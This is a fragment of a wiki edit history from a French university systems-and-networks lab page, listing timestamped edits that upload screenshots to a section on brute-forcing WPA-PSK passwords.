Jsoulaim : /* 5.3 Cassage de mot de passe WPA-PSK par force brute */

Fichier:Screen6.png

2020-10-17T10:00:38Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-10-17T09:58:58Z

Jsoulaim : /* 5.3 Cassage de mot de passe WPA-PSK par force brute */

Fichier:Screen5.png

2020-10-17T09:57:50Z

Jsoulaim :